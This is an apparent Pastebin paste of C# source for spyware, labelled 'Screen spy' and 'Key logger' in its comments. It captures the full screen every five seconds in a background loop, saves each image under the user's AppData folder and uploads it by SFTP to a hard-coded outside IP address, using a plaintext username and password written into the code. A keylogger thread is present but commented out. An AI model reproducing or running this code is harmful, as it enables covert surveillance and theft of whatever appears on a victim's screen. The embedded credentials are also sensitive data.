Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.36 KB | None | 0 0
  1. using System;
  2. using System.Drawing;
  3. using System.Runtime.InteropServices;
  4. using System.Threading;
  5. using System.Windows.Forms;
  6. using System.IO;
  7. using Renci.SshNet;
  8.  
  9. namespace ConsoleApp1
  10. {
  11. class Program
  12. {
  13. [DllImport("user32.dll")]
  14. public static extern int GetAsyncKeyState(Int32 i);
  15. public static ConnectionInfo connectionInfo = new ConnectionInfo(""
  16. "",
  17. new PasswordAuthenticationMethod("", ""));
  18. public static SftpClient sshClient = new SftpClient(connectionInfo);
  19.  
  20. static void Main(string[] args)
  21. {
  22. /*Location to store images*/
  23. if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test"))
  24. {
  25. Console.WriteLine("Dir doesn't exist");
  26. Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test");
  27. }
  28. else
  29. {
  30. Console.WriteLine("Dir exists");
  31. }
  32.  
  33. /*Screen spy*/
  34. Thread screenshot = new Thread(snapLoop);
  35. screenshot.Start();
  36.  
  37. /*Key logger*/
  38. // Thread listener = new Thread(KeyListener.Listen);
  39. // listener.Start();
  40. }
  41.  
  42. static void snap()
  43. {
  44.  
  45. Bitmap memoryImage;
  46. memoryImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
  47. Size s = new Size(memoryImage.Width, memoryImage.Height);
  48. Graphics memoryGraphics = Graphics.FromImage(memoryImage);
  49. memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
  50. string str = "";
  51. try
  52. {
  53. str = string.Format(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test\" + unixTs() + ".png");
  54. }
  55. catch (Exception er)
  56. {
  57. Console.WriteLine("Sorry, there was an error: " + er.Message);
  58. Console.WriteLine();
  59. }
  60.  
  61. memoryImage.Save(str);
  62. Console.WriteLine(str);
  63.  
  64. string host = @"138.68.226.159";
  65. string username = "goodeats";
  66. string password = @"Naughty|stream8Shipped$handed4Planners-delivery7Fifth!board4Compared}";
  67.  
  68. using (SftpClient sftp = new SftpClient(host, username, password))
  69. {
  70. try
  71. {
  72. sftp.Connect();
  73. sftp.UploadFile(System.IO.File.OpenRead(str), "/home/goodeats/public_html/img/" + unixTs() + ".png", true);
  74. sftp.UploadFile(System.IO.File.OpenRead(str), "/home/goodeats/public_html/img/latest.png", true);
  75. sftp.Disconnect();
  76. }
  77. catch (Exception e)
  78. {
  79. Console.WriteLine("An exception has been caught " + e.ToString());
  80. }
  81. }
  82. }
  83.  
  84. static int unixTs()
  85. {
  86. return (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
  87. }
  88.  
  89. static void snapLoop()
  90. {
  91. while (true)
  92. {
  93. Thread.Sleep(5000);
  94. snap();
  95. }
  96. }
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement